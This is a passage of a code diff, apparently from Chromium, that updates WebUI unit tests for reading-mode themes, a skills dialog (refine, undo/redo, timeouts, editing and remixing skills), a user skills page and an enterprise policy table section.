+    chrome.readingMode.colorTheme = chrome.readingMode.highContrastTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedHighContrastToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Low contrast theme
+    chrome.readingMode.colorTheme = chrome.readingMode.lowContrastTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedLowContrastToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Sepia light theme
+    chrome.readingMode.colorTheme = chrome.readingMode.sepiaLightTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedSepiaLightToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Sepia dark theme
+    chrome.readingMode.colorTheme = chrome.readingMode.sepiaDarkTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedSepiaDarkToolbarIcon, computeStyle('--toolbar-icon-color'));
   });
 
   test('setTheme with line focus window does not update color', () => {
diff --git a/chrome/test/data/webui/skills/skills_dialog_test.ts b/chrome/test/data/webui/skills/skills_dialog_test.ts
index 40ae019..d634e3da 100644
--- a/chrome/test/data/webui/skills/skills_dialog_test.ts
+++ b/chrome/test/data/webui/skills/skills_dialog_test.ts
@@ -4,20 +4,43 @@
 
 import 'chrome://skills/skills_dialog_app.js';
 
-import type {CrButtonElement} from 'chrome://resources/cr_elements/cr_button/cr_button.js';
-import type {CrIconButtonElement} from 'chrome://resources/cr_elements/cr_icon_button/cr_icon_button.js';
-import type {CrInputElement} from 'chrome://resources/cr_elements/cr_input/cr_input.js';
+import {PromiseResolver} from 'chrome://resources/js/promise_resolver.js';
 import type {Skill} from 'chrome://skills/skill.mojom-webui.js';
 import {SkillSource} from 'chrome://skills/skill.mojom-webui.js';
 import {DialogHandlerRemote} from 'chrome://skills/skills.mojom-webui.js';
-import type {SkillsDialogAppElement} from 'chrome://skills/skills_dialog_app.js';
+import {WindowProxyImpl} from 'chrome://skills/skills_dialog_app.js';
+import type {SkillsDialogAppElement, WindowProxy} from 'chrome://skills/skills_dialog_app.js';
 import {SkillsDialogBrowserProxy} from 'chrome://skills/skills_dialog_browser_proxy.js';
-import {assertEquals, assertTrue,assertFalse} from 'chrome://webui-test/chai_assert.js';
+import {assertEquals, assertFalse, assertTrue} from 'chrome://webui-test/chai_assert.js';
 import {TestMock} from 'chrome://webui-test/test_mock.js';
+import {microtasksFinished} from 'chrome://webui-test/test_util.js';
+
+class TestWindowProxy implements WindowProxy {
+  private callback_: Function|null = null;
+
+  setTimeout(handler: TimerHandler, timeout?: number): number {
+    if (timeout === 5000) {
+      this.callback_ = handler as Function;
+      return 12345;
+    }
+    return window.setTimeout(handler, timeout);
+  }
+
+  runTimeout() {
+    if (this.callback_) {
+      this.callback_();
+    }
+  }
+
+  hasScheduledTimeout(): boolean {
+    return !!this.callback_;
+  }
+}
 
 suite('SkillsDialogAppPage', function() {
   let skillsDialogApp: SkillsDialogAppElement;
   let dialogHandler: TestMock<DialogHandlerRemote>&DialogHandlerRemote;
+  let testWindowProxy: TestWindowProxy;
 
   setup(async function() {
     dialogHandler = TestMock.fromClass(DialogHandlerRemote);
@@ -25,17 +48,51 @@
         {handler: dialogHandler} as SkillsDialogBrowserProxy);
     dialogHandler.setResultFor(
         'refineSkill', Promise.resolve({refinedSkill: {}}));
-    dialogHandler.setResultFor('getInitialSkill', Promise.resolve({skill: {}}));
     dialogHandler.setResultFor(
         'getSignedInEmail', Promise.resolve({email: ''}));
+    const emptySkill: Skill = {
+      id: '',
+      name: '',
+      icon: '',
+      prompt: '',
+      description: '',
+      source: SkillSource.kUnknown,
+      creationTime: {internalValue: 0n},
+      lastUpdateTime: {internalValue: 0n},
+    };
+    testWindowProxy = new TestWindowProxy();
+    WindowProxyImpl.setInstance(testWindowProxy);
+    await setupDialogWithSkill(emptySkill);
+  });
+
+  async function setupDialogWithSkill(initialSkill: Skill) {
+    dialogHandler.setResultFor(
+        'getInitialSkill', Promise.resolve({skill: initialSkill}));
     document.body.innerHTML = window.trustedTypes!.emptyHTML;
     skillsDialogApp = document.createElement('skills-dialog-app');
     document.body.appendChild(skillsDialogApp);
-    await skillsDialogApp.updateComplete;
-  });
+    return microtasksFinished();
+  }
+
+  async function updateName(name: string) {
+    const nameInput = skillsDialogApp.$.nameText;
+
+    nameInput.value = name;
+    nameInput.dispatchEvent(
+        new CustomEvent('value-changed', {detail: {value: nameInput.value}}));
+    return microtasksFinished();
+  }
+
+  async function updateInstructions(prompt: string) {
+    const instructionsInput = skillsDialogApp.$.instructionsText;
+
+    instructionsInput.value = prompt;
+    instructionsInput.dispatchEvent(new Event('input'));
+    return microtasksFinished();
+  }
 
   test('SkillsDialogAppLoads', function() {
-    assertEquals('Add Skill', skillsDialogApp.$['header']!.textContent);
+    assertEquals('Add skill', skillsDialogApp.$.header.textContent);
   });
 
   test('SkillsDialogPrepopulatesInitialSkill', async function() {
@@ -49,84 +106,138 @@
       creationTime: {internalValue: 0n},
       lastUpdateTime: {internalValue: 0n},
     };
-    dialogHandler.setResultFor(
-        'getInitialSkill', Promise.resolve({skill: testSkill}));
-    // Re-create the element to pick up the new dialog arguments.
-    document.body.innerHTML = window.trustedTypes!.emptyHTML;
-    skillsDialogApp = document.createElement('skills-dialog-app');
-    document.body.appendChild(skillsDialogApp);
-    await skillsDialogApp.updateComplete;
+    await setupDialogWithSkill(testSkill);
 
-    assertEquals(
-        '⚡',
-        skillsDialogApp.shadowRoot
-            .querySelector<HTMLInputElement>('.emoji-trigger')!.value);
-    assertEquals(
-        testSkill.name,
-        (skillsDialogApp.$['nameText'] as CrInputElement).value);
-    assertEquals(
-        testSkill.prompt,
-        (skillsDialogApp.$['instructionsText'] as HTMLTextAreaElement).value);
+    assertEquals('⚡', skillsDialogApp.$.emojiTrigger.value);
+    assertEquals(testSkill.name, skillsDialogApp.$.nameText.value);
+    assertEquals(testSkill.prompt, skillsDialogApp.$.instructionsText.value);
+  });
+
+  test('AddingFirstPartySkill', async function() {
+    const testSkill: Skill = {
+      id: 'first-party-skill',
+      name: 'test skill',
+      icon: '',
+      prompt: 'test prompt',
+      description: 'test description',
+      source: SkillSource.kFirstParty,
+      creationTime: {internalValue: 0n},
+      lastUpdateTime: {internalValue: 0n},
+    };
+    await setupDialogWithSkill(testSkill);
+
+    assertEquals('Add skill', skillsDialogApp.$.header.textContent);
+  });
+
+  test('EditingUserCreatedSkill', async function() {
+    const testSkill: Skill = {
+      id: '123',
+      name: 'test skill',
+      icon: '',
+      prompt: 'test prompt',
+      description: 'test description',
+      source: SkillSource.kUserCreated,
+      creationTime: {internalValue: 0n},
+      lastUpdateTime: {internalValue: 0n},
+    };
+    await setupDialogWithSkill(testSkill);
+
+    assertEquals('Edit skill', skillsDialogApp.$.header.textContent);
   });
 
   test('SaveButtonDisabledStates', async function() {
-    const saveButton = skillsDialogApp.$['saveButton'] as CrButtonElement;
-    const nameInput = skillsDialogApp.$['nameText'] as CrInputElement;
-    const instructionsInput =
-        skillsDialogApp.$['instructionsText'] as HTMLTextAreaElement;
+    const saveButton = skillsDialogApp.$.saveButton;
 
     // 1. Initial state: disabled.
-    assertEquals(true, saveButton.disabled);
+    assertTrue(saveButton.disabled);
 
     // 2. Name filled, instructions empty: disabled.
-    nameInput.value = 'test skill';
-    nameInput.dispatchEvent(
-        new CustomEvent('value-changed', {detail: {value: nameInput.value}}));
-    await skillsDialogApp.updateComplete;
-    assertEquals(true, saveButton.disabled);
+    await updateName('test skill');
+    assertTrue(saveButton.disabled);
 
     // 3. Name and instructions filled: enabled.
-    instructionsInput.value = 'test prompt';
-    instructionsInput.dispatchEvent(new Event('input'));
-    await skillsDialogApp.updateComplete;
-    assertEquals(false, saveButton.disabled);
+    await updateInstructions('test prompt');
+    assertFalse(saveButton.disabled);
 
     // 4. Name empty, instructions filled: disabled.
-    nameInput.value = '';
-    nameInput.dispatchEvent(
-        new CustomEvent('value-changed', {detail: {value: nameInput.value}}));
-    await skillsDialogApp.updateComplete;
-    assertEquals(true, saveButton.disabled);
+    await updateName('');
+    assertTrue(saveButton.disabled);
   });
 
   test('SaveButtonSubmitsSkill', async function() {
-    const saveButton = skillsDialogApp.$['saveButton'] as CrButtonElement;
-    const nameInput = skillsDialogApp.$['nameText'] as CrInputElement;
-    const instructionsInput =
-        skillsDialogApp.$['instructionsText'] as HTMLTextAreaElement;
-
     // Populate the fields to enable the save button.
     const testName = 'test skill';
     const testPrompt = 'test prompt';
-    nameInput.value = testName;
-    nameInput.dispatchEvent(
-        new CustomEvent('value-changed', {detail: {value: nameInput.value}}));
-    instructionsInput.value = testPrompt;
-    instructionsInput.dispatchEvent(new Event('input'));
-    await skillsDialogApp.updateComplete;
-    assertEquals(false, saveButton.disabled);
+    await updateName(testName);
+    await updateInstructions(testPrompt);
 
     // Click the save button and verify the proxy call.
-    saveButton.click();
+    skillsDialogApp.$.saveButton.click();
     const submittedSkill = await dialogHandler.whenCalled('submitSkill');
+    assertEquals('', submittedSkill.id);
     assertEquals(testName, submittedSkill.name);
     assertEquals(testPrompt, submittedSkill.prompt);
+    assertEquals(SkillSource.kUserCreated, submittedSkill.source);
+  });
+
+  test('SubmitsRemixedSkill', async function() {
+    const firstPartySkill: Skill = {
+      id: 'first-party-skill',
+      name: 'test skill',
+      icon: '',
+      prompt: 'test prompt',
+      description: 'test description',
+      source: SkillSource.kFirstParty,
+      creationTime: {internalValue: 0n},
+      lastUpdateTime: {internalValue: 0n},
+    };
+    await setupDialogWithSkill(firstPartySkill);
+
+    // Remix the fields.
+    const remixedName = 'remixed skill';
+    const remixedPrompt = 'remixed prompt';
+    await updateName(remixedName);
+    await updateInstructions(remixedPrompt);
+
+    // Click the save button and verify the proxy call.
+    skillsDialogApp.$.saveButton.click();
+    const submittedSkill = await dialogHandler.whenCalled('submitSkill');
+    assertEquals('', submittedSkill.id);
+    assertEquals(remixedName, submittedSkill.name);
+    assertEquals(remixedPrompt, submittedSkill.prompt);
+    assertEquals(SkillSource.kUserCreated, submittedSkill.source);
+  });
+
+  test('SubmitsEditedSkill', async function() {
+    const userCreatedSkill: Skill = {
+      id: 'user-created-skill',
+      name: 'test skill',
+      icon: '',
+      prompt: 'test prompt',
+      description: 'test description',
+      source: SkillSource.kUserCreated,
+      creationTime: {internalValue: 0n},
+      lastUpdateTime: {internalValue: 0n},
+    };
+    await setupDialogWithSkill(userCreatedSkill);
+
+    // Edit the fields.
+    const editedName = 'edited skill';
+    const editedPrompt = 'edited prompt';
+    await updateName(editedName);
+    await updateInstructions(editedPrompt);
+
+    // Click the save button and verify the proxy call.
+    skillsDialogApp.$.saveButton.click();
+    const submittedSkill = await dialogHandler.whenCalled('submitSkill');
+    assertEquals(userCreatedSkill.id, submittedSkill.id);
+    assertEquals(editedName, submittedSkill.name);
+    assertEquals(editedPrompt, submittedSkill.prompt);
+    assertEquals(SkillSource.kUserCreated, submittedSkill.source);
   });
 
   test('EmojiTriggerOpensPicker', async function() {
-    const emojiTrigger =
-        skillsDialogApp.shadowRoot.querySelector<HTMLInputElement>(
-            '.emoji-trigger')!;
+    const emojiTrigger = skillsDialogApp.$.emojiTrigger;
 
     emojiTrigger.click();
 
@@ -134,54 +245,36 @@
   });
 
   test('EmojiInputUpdatesStateAndSanitizes', async function() {
-    const emojiTrigger =
-        skillsDialogApp.shadowRoot.querySelector<HTMLInputElement>(
-            '.emoji-trigger')!;
+    const emojiTrigger = skillsDialogApp.$.emojiTrigger;
 
     emojiTrigger.value = '⚡🐶';
     emojiTrigger.dispatchEvent(new InputEvent('input'));
 
-    await skillsDialogApp.updateComplete;
+    await microtasksFinished();
 
     assertEquals('🐶', emojiTrigger.value);
 
-    const saveButton = skillsDialogApp.$['saveButton'] as CrButtonElement;
+    await updateName('name');
+    await updateInstructions('prompt');
 
-    const nameInput = skillsDialogApp.$['nameText'] as CrInputElement;
-    const instructionsInput =
-        skillsDialogApp.$['instructionsText'] as HTMLTextAreaElement;
-
-    nameInput.value = 'name';
-    nameInput.dispatchEvent(
-        new CustomEvent('value-changed', {detail: {value: 'name'}}));
-    instructionsInput.value = 'prompt';
-    instructionsInput.dispatchEvent(new Event('input'));
-
-    await skillsDialogApp.updateComplete;
-
-    saveButton.click();
+    skillsDialogApp.$.saveButton.click();
     const submittedSkill = await dialogHandler.whenCalled('submitSkill');
     assertEquals('🐶', submittedSkill.icon);
   });
 
   test('EmojiInputHandlesEmpty', async function() {
-    const emojiTrigger =
-        skillsDialogApp.shadowRoot.querySelector<HTMLInputElement>(
-            '.emoji-trigger')!;
+    const emojiTrigger = skillsDialogApp.$.emojiTrigger;
 
     emojiTrigger.value = '';
     emojiTrigger.dispatchEvent(new InputEvent('input'));
 
-    await skillsDialogApp.updateComplete;
+    await microtasksFinished();
 
     assertEquals('⚡', emojiTrigger.value);
   });
 
   test('EmojiPreventsManualTyping', function() {
-    const emojiTrigger =
-        skillsDialogApp.shadowRoot.querySelector<HTMLInputElement>(
-            '.emoji-trigger')!;
-
+    const emojiTrigger = skillsDialogApp.$.emojiTrigger;
     const letterEvent = new KeyboardEvent('keydown', {
       key: 'a',
       cancelable: true,
@@ -189,88 +282,63 @@
       composed: true,
     });
     emojiTrigger.dispatchEvent(letterEvent);
-    assertTrue(letterEvent.defaultPrevented, 'Should prevent regular keys');
+    assertTrue(letterEvent.defaultPrevented);
   });
 
   test('RefineUndoRedoFlow', async function() {
-    const instructionsInput =
-        skillsDialogApp.$['instructionsText'] as HTMLTextAreaElement;
-    const refineBtn =
-        skillsDialogApp.shadowRoot.querySelector<CrIconButtonElement>(
-            '.icon-refine')!;
-    const undoBtn =
-        skillsDialogApp.shadowRoot.querySelector<CrIconButtonElement>(
-            '.icon-undo')!;
-    const redoBtn =
-        skillsDialogApp.shadowRoot.querySelector<CrIconButtonElement>(
-            '.icon-redo')!;
-
     // 1. Initial State: Empty
-    assertTrue(refineBtn.disabled, 'Refine should be disabled when empty');
-    assertTrue(undoBtn.disabled, 'Undo should be disabled initially');
-    assertTrue(redoBtn.disabled, 'Redo should be disabled initially');
+    assertTrue(skillsDialogApp.$.iconRefine.disabled);
+    assertTrue(skillsDialogApp.$.iconUndo.disabled);
+    assertTrue(skillsDialogApp.$.iconRedo.disabled);
 
     // 2. Type something
     const originalText = 'Original Prompt';
-    instructionsInput.value = originalText;
-    instructionsInput.dispatchEvent(new Event('input'));
-    await skillsDialogApp.updateComplete;
+    await updateInstructions(originalText);
 
-    assertFalse(refineBtn.disabled, 'Refine should be enabled after typing');
-    assertTrue(undoBtn.disabled);
+    assertFalse(skillsDialogApp.$.iconRefine.disabled);
+    assertTrue(skillsDialogApp.$.iconUndo.disabled);
 
     // 3. Mock the refine call and Click Refine
     const refinedMockText = 'AI Refined Prompt';
 
-    dialogHandler.refineSkill = (skill: any) => {
-      dialogHandler.methodCalled('refineSkill', skill);
-      return Promise.resolve({
-        refinedSkill: {prompt: refinedMockText} as any,
-      });
-    };
 
-    refineBtn.click();
+    dialogHandler.setResultFor(
+        'refineSkill',
+        Promise.resolve({refinedSkill: {prompt: refinedMockText}}));
+
+    skillsDialogApp.$.iconRefine.click();
 
     await dialogHandler.whenCalled('refineSkill');
 
-    await new Promise(resolve => setTimeout(resolve, 0));
-    await skillsDialogApp.updateComplete;
+    await microtasksFinished();
 
-    assertEquals(
-        refinedMockText, instructionsInput.value,
-        'Text should be updated to the mocked AI response');
+    assertEquals(refinedMockText, skillsDialogApp.$.instructionsText.value);
 
     // Check buttons
-    assertFalse(undoBtn.disabled, 'Undo should be enabled after refining');
-    assertTrue(redoBtn.disabled, 'Redo should remain disabled');
+    assertFalse(skillsDialogApp.$.iconUndo.disabled);
+    assertTrue(skillsDialogApp.$.iconRedo.disabled);
 
     // 4. Click Undo
-    undoBtn.click();
-    await skillsDialogApp.updateComplete;
+    skillsDialogApp.$.iconUndo.click();
+    await microtasksFinished();
 
-    assertEquals(
-        originalText, instructionsInput.value,
-        'Undo should revert to original text');
-    assertTrue(undoBtn.disabled, 'Undo should be disabled after undoing');
-    assertFalse(redoBtn.disabled, 'Redo should be enabled after undoing');
+    assertEquals(originalText, skillsDialogApp.$.instructionsText.value);
+    assertTrue(skillsDialogApp.$.iconUndo.disabled);
+    assertFalse(skillsDialogApp.$.iconRedo.disabled);
 
     // 5. Click Redo
-    redoBtn.click();
-    await skillsDialogApp.updateComplete;
+    skillsDialogApp.$.iconRedo.click();
+    await microtasksFinished();
 
-    assertEquals(
-        refinedMockText, instructionsInput.value,
-        'Redo should restore refined text');
-    assertFalse(undoBtn.disabled, 'Undo should be enabled after redoing');
-    assertTrue(redoBtn.disabled, 'Redo should be disabled after redoing');
+    assertEquals(refinedMockText, skillsDialogApp.$.instructionsText.value);
+    assertFalse(skillsDialogApp.$.iconUndo.disabled);
+    assertTrue(skillsDialogApp.$.iconRedo.disabled);
 
     // 6. Manual edit clears history
-    instructionsInput.value = 'New manual edit';
-    instructionsInput.dispatchEvent(new Event('input'));
-    await skillsDialogApp.updateComplete;
+    await updateInstructions('New manual edit');
 
-    assertTrue(undoBtn.disabled, 'Manual edit should clear undo state');
-    assertTrue(redoBtn.disabled, 'Manual edit should clear redo state');
+    assertTrue(skillsDialogApp.$.iconUndo.disabled);
+    assertTrue(skillsDialogApp.$.iconRedo.disabled);
   });
 
   test('DisplaysSignedInEmail', async function() {
@@ -285,11 +353,157 @@
 
     await dialogHandler.whenCalled('getSignedInEmail');
 
-    await skillsDialogApp.updateComplete;
+    await microtasksFinished();
 
-    const emailElement = skillsDialogApp.$['accountEmail'];
+    const emailElement = skillsDialogApp.$.accountEmail;
 
-    assertTrue(!!emailElement, 'Email element should exist');
+    assertTrue(!!emailElement);
     assertEquals(testEmail, emailElement.textContent);
   });
+
+  test('RefineShowsErrorOnFailure', async function() {
+    const instructionsInput = skillsDialogApp.$.instructionsText;
+    const refineBtn = skillsDialogApp.$.iconRefine;
+    // Query these elements dynamically in assertion to ensure freshness
+    const textareaWrapper = skillsDialogApp.$.textareaWrapper;
+    const errorMessage = skillsDialogApp.$.errorMessage;
+
+    // 1. Setup Input
+    instructionsInput.value = 'Start text';
+    instructionsInput.dispatchEvent(new Event('input'));
+    await microtasksFinished();
+
+    // 2. Mock Failure
+    dialogHandler.setPromiseRejectFor('refineSkill');
+
+    // 3. Click Refine
+    refineBtn.click();
+    await microtasksFinished();
+
+    // 4. Assert Error UI
+    assertFalse(errorMessage.hidden);
+    assertTrue(textareaWrapper.hasAttribute('error'));
+  });
+
+  test('TypingClearsRefineError', async function() {
+    const instructionsInput = skillsDialogApp.$.instructionsText;
+    const refineBtn = skillsDialogApp.$.iconRefine;
+
+    // Helper functions to get fresh DOM elements
+    const textareaWrapper = skillsDialogApp.$.textareaWrapper;
+    const errorMessage = skillsDialogApp.$.errorMessage;
+
+    // 1. Setup Input and Trigger Error
+    instructionsInput.value = 'Start';
+    instructionsInput.dispatchEvent(new Event('input'));
+    await microtasksFinished();
+    dialogHandler.setPromiseRejectFor('refineSkill');
+    refineBtn.click();
+    await microtasksFinished();
+
+    // Verify error is there
+    assertFalse(errorMessage.hidden);
+    assertTrue(textareaWrapper.hasAttribute('error'));
+
+    // 2. Type in box
+    instructionsInput.value = 'Start Editing';
+    instructionsInput.dispatchEvent(new Event('input'));
+
+    await microtasksFinished();
+
+    // 3. Assert Error Cleared using fresh getters
+    assertTrue(errorMessage.hidden);
+    assertFalse(textareaWrapper.hasAttribute('error'));
+  });
+
+  test('RefineLoadingState', async function() {
+    const instructionsInput = skillsDialogApp.$.instructionsText;
+    const refineBtn = skillsDialogApp.$.iconRefine;
+
+    instructionsInput.value = 'Start';
+    instructionsInput.dispatchEvent(new Event('input'));
+    await microtasksFinished();
+
+    const resolver = new PromiseResolver<{refinedSkill: Skill}>();
+    dialogHandler.refineSkill = () => resolver.promise;
+
+    // Click Refine
+    refineBtn.click();
+    await microtasksFinished();
+
+    // Assert Loading State
+    assertTrue(refineBtn.disabled);
+
+    // Resolve Request
+    resolver.resolve({
+      refinedSkill: {
+        id: '',
+        name: '',
+        icon: '',
+        prompt: 'Done',
+        description: '',
+        source: SkillSource.kUserCreated,
+        creationTime: {internalValue: 0n},
+        lastUpdateTime: {internalValue: 0n},
+      },
+    });
+
+    await microtasksFinished();
+
+    // Assert Normal State
+    assertFalse(refineBtn.disabled);
+    assertEquals('Done', instructionsInput.value);
+  });
+
+  test('LateResponseDoesNotOverwriteError', async function() {
+    const instructionsInput = skillsDialogApp.$.instructionsText;
+    const refineBtn = skillsDialogApp.$.iconRefine;
+    const textareaWrapper = skillsDialogApp.$.textareaWrapper;
+    const errorMessage = skillsDialogApp.$.errorMessage;
+
+    // 1. Setup Initial State
+    instructionsInput.value = 'Original Text';
+    instructionsInput.dispatchEvent(new Event('input'));
+    await microtasksFinished();
+
+    // 2. Mock hanging response
+    const resolver = new PromiseResolver<{refinedSkill: Skill}>();
+    dialogHandler.refineSkill = () => resolver.promise;
+
+    // 3. Click Refine
+    refineBtn.click();
+    await microtasksFinished();
+
+    // Verify proxy captured the call
+    assertTrue(testWindowProxy.hasScheduledTimeout());
+
+    // 4. Trigger the Timeout Manually via Proxy
+    testWindowProxy.runTimeout();
+
+    await microtasksFinished();
+
+    // 5. Verify Error UI
+    assertFalse(errorMessage.hidden);
+    assertTrue(textareaWrapper.hasAttribute('error'));
+
+    // 6. Resolve the "Late" Response
+    resolver.resolve({
+      refinedSkill: {
+        id: '',
+        name: '',
+        icon: '',
+        prompt: 'Late Response',
+        description: '',
+        source: SkillSource.kUserCreated,
+        creationTime: {internalValue: 0n},
+        lastUpdateTime: {internalValue: 0n},
+      },
+    });
+
+    await microtasksFinished();
+
+    // 7. Verify the "Late" response was IGNORED
+    assertEquals('Original Text', instructionsInput.value);
+    assertFalse(errorMessage.hidden);
+  });
 });
diff --git a/chrome/test/data/webui/skills/user_skills_page_test.ts b/chrome/test/data/webui/skills/user_skills_page_test.ts
index 70c2357..b41f6b2 100644
--- a/chrome/test/data/webui/skills/user_skills_page_test.ts
+++ b/chrome/test/data/webui/skills/user_skills_page_test.ts
@@ -71,10 +71,10 @@
     browserProxy.callbackRouterRemote.updateSkill(testSkill);
     await microtasksFinished();
 
-    const skillItems = page.shadowRoot.querySelectorAll('li');
+    const skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertEquals(1, skillItems.length);
     assertTrue(!!skillItems[0]);
-    assertEquals('Test Skill', skillItems[0].textContent.trim());
+    assertEquals('Test Skill', skillItems[0].skill.name);
   });
 
   test('RemoveSkillUpdatesPage', async function() {
@@ -91,14 +91,14 @@
     browserProxy.callbackRouterRemote.updateSkill(testSkill);
     await microtasksFinished();
 
-    let skillItems = page.shadowRoot.querySelectorAll('li');
+    let skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertTrue(!!skillItems[0]);
-    assertEquals('Test Skill', skillItems[0].textContent.trim());
+    assertEquals('Test Skill', skillItems[0].skill.name);
 
     browserProxy.callbackRouterRemote.removeSkill(testSkill.id);
     await microtasksFinished();
 
-    skillItems = page.shadowRoot.querySelectorAll('li');
+    skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertEquals(0, skillItems.length);
   });
 
@@ -130,10 +130,10 @@
 
     await microtasksFinished();
 
-    const skillItems = page.shadowRoot.querySelectorAll('li');
+    const skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertEquals(1, skillItems.length);
     assertTrue(!!skillItems[0]);
-    assertEquals('B', skillItems[0].textContent.trim());
+    assertEquals('B', skillItems[0].skill.name);
   });
 
   test('AddSkillDebouncesClicks', async function() {
@@ -194,24 +194,24 @@
     browserProxy.callbackRouterRemote.updateSkill(skillC);
     await microtasksFinished();
 
-    let skillItems = page.shadowRoot.querySelectorAll('li');
+    let skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertEquals(3, skillItems.length);
 
     // Search for apple
     page.onSearchChanged('Apple');
     await page.updateComplete;
-    skillItems = page.shadowRoot.querySelectorAll('li');
+    skillItems = page.shadowRoot.querySelectorAll('skill-card');
     assertEquals(1, skillItems.length);
-    assertEquals('Apple', skillItems[0]!.textContent.trim());
+    assertEquals('Apple', skillItems[0]!.skill.name);
 
     // Search for fruit
     page.onSearchChanged('fruit');
     await page.updateComplete;
-    assertEquals(2, page.shadowRoot.querySelectorAll('li').length);
+    assertEquals(2, page.shadowRoot.querySelectorAll('skill-card').length);
 
     // Clear search
     page.onSearchChanged('');
     await page.updateComplete;
-    assertEquals(3, page.shadowRoot.querySelectorAll('li').length);
+    assertEquals(3, page.shadowRoot.querySelectorAll('skill-card').length);
   });
 });
diff --git a/chrome/test/data/webui/updater/BUILD.gn b/chrome/test/data/webui/updater/BUILD.gn
index 48b2b71..002fd2c 100644
--- a/chrome/test/data/webui/updater/BUILD.gn
+++ b/chrome/test/data/webui/updater/BUILD.gn
@@ -19,6 +19,7 @@
     "event_list/filter_dialog/scope_dialog_test.ts",
     "event_list/filter_dialog/type_dialog_test.ts",
     "event_list/filter_settings_test.ts",
+    "enterprise_policy_table/enterprise_policy_table_section_test.ts",
     "enterprise_policy_table/enterprise_policy_value_test.ts",
     "updater_state/enterprise_companion_state_card_test.ts",
     "updater_state/updater_state_card_test.ts",
diff --git a/chrome/test/data/webui/updater/enterprise_policy_table/enterprise_policy_table_section_test.ts b/chrome/test/data/webui/updater/enterprise_policy_table/enterprise_policy_table_section_test.ts
new file mode 100644
index 0000000..8daf68e4
--- /dev/null
+++ b/chrome/test/data/webui/updater/enterprise_policy_table/enterprise_policy_table_section_test.ts
@@ -0,0 +1,154 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+import 'chrome://updater/enterprise_policy_table/enterprise_policy_table_section.js';
+
+import type {EnterprisePolicyTableSectionElement, RowData} from 'chrome://updater/enterprise_policy_table/enterprise_policy_table_section.js';
+import {assertEquals, assertFalse, assertTrue} from 'chrome://webui-test/chai_assert.js';
+import {microtasksFinished} from 'chrome://webui-test/test_util.js';
+
+suite('EnterprisePolicyTableSectionTest', () => {
+  let element: EnterprisePolicyTableSectionElement;
+
+  setup(async () => {
+    document.body.innerHTML = window.trustedTypes!.emptyHTML;
+    element = document.createElement('enterprise-policy-table-section');
+    document.body.appendChild(element);
+    await microtasksFinished();
+  });
+
+  test('renders rows correctly', async () => {
+    const rowData: RowData[] = [
+      {
+        name: 'Policy1',
+        policy: {
+          valuesBySource: {
+            'Source1': 'Value1',
+            'Source2': 'Value2',
+          },
+          prevailingSource: 'Source1',
+        },
+        isExpanded: false,
+        hasConflict: true,
+      },
+      {
+        name: 'Policy2',
+        policy: {
+          valuesBySource: {
+            'Source3': 123,
+          },
+          prevailingSource: 'Source3',
+        },
+        isExpanded: true,
+        hasConflict: false,
+      },
+    ];
+    element.rowData = rowData;
+    await microtasksFinished();
+
+    const rows = element.shadowRoot.querySelectorAll('.policy-row');
+    assertEquals(2, rows.length);
+
+    const row1 = rows[0]!;
+    assertEquals(
+        'Policy1', row1.querySelector('.column-name')!.textContent.trim());
+    assertEquals(
+        'Source1', row1.querySelector('.column-source')!.textContent.trim());
+    assertTrue(!!row1.querySelector('.warning-icon'));
+    assertFalse(!!row1.querySelector('.check-icon'));
+    assertFalse(row1.hasAttribute('expanded'));
+    const value1 = row1.querySelector('enterprise-policy-value');
+    assertTrue(!!value1);
+    assertEquals('Policy1', value1.policyName);
+    assertEquals('Value1', value1.value);
+
+    const row2 = rows[1]!;
+    assertEquals(
+        'Policy2', row2.querySelector('.column-name')!.textContent.trim());
+    assertEquals(
+        'Source3', row2.querySelector('.column-source')!.textContent.trim());
+    assertFalse(!!row2.querySelector('.warning-icon'));
+    assertTrue(!!row2.querySelector('.check-icon'));
+    assertTrue(row2.hasAttribute('expanded'));
+    const value2 = row2.querySelector('enterprise-policy-value');
+    assertTrue(!!value2);
+    assertEquals('Policy2', value2.policyName);
+    assertEquals(123, value2.value);
+
+    const expandedSections =
+        element.shadowRoot.querySelectorAll('.expanded-section');
+    assertEquals(2, expandedSections.length);
+    assertFalse(expandedSections[0]!.hasAttribute('opened'));
+    assertTrue(expandedSections[1]!.hasAttribute('opened'));
+  });
+
+  test('renders empty rowData', async () => {
+    element.rowData = [];
+    await microtasksFinished();
+    assertEquals(0, element.shadowRoot.querySelectorAll('.policy-row').length);
+    assertTrue(element.shadowRoot.querySelector('.header-row') !== null);
+  });
+
+  test('toggles expansion', async () => {
+    element.rowData = [{
+      name: 'Policy1',
+      policy: {
+        valuesBySource: {'Source1': 'Value1'},
+        prevailingSource: 'Source1',
+      },
+      isExpanded: false,
+      hasConflict: false,
+    }];
+    await microtasksFinished();
+
+    const expandButton = element.shadowRoot.querySelector('cr-expand-button')!;
+    const collapse = element.shadowRoot.querySelector('cr-collapse')!;
+
+    assertFalse(expandButton.expanded);
+    assertFalse(collapse.opened);
+
+    expandButton.click();
+    await microtasksFinished();
+
+    assertTrue(expandButton.expanded);
+    assertTrue(collapse.opened);
+    assertTrue(element.rowData[0]!.isExpanded);
+
+    expandButton.click();
+    await microtasksFinished();
+
+    assertFalse(expandButton.expanded);
+    assertFalse(collapse.opened);
+    assertFalse(element.rowData[0]!.isExpanded);
+  });
+
+  test('displays ignored sources in expanded row', async () => {
+    element.rowData = [{
+      name: 'Policy1',
+      policy: {
+        valuesBySource: {
+          'Source1': 'Value1',
+          'Source2': 'Value2',
+        },
+        prevailingSource: 'Source1',
+      },
+      isExpanded: true,
+      hasConflict: true,
+    }];
+    await microtasksFinished();
+
+    const expandedRows = element.shadowRoot.querySelectorAll('.expanded-row');
+    assertEquals(1, expandedRows.length);
+
+    const row = expandedRows[0]!;
+    assertEquals(
+        'Ignored:', row.querySelector('.column-name')!.textContent.trim());
+    assertEquals(
+        'Source2', row.querySelector('.column-source')!.textContent.trim());
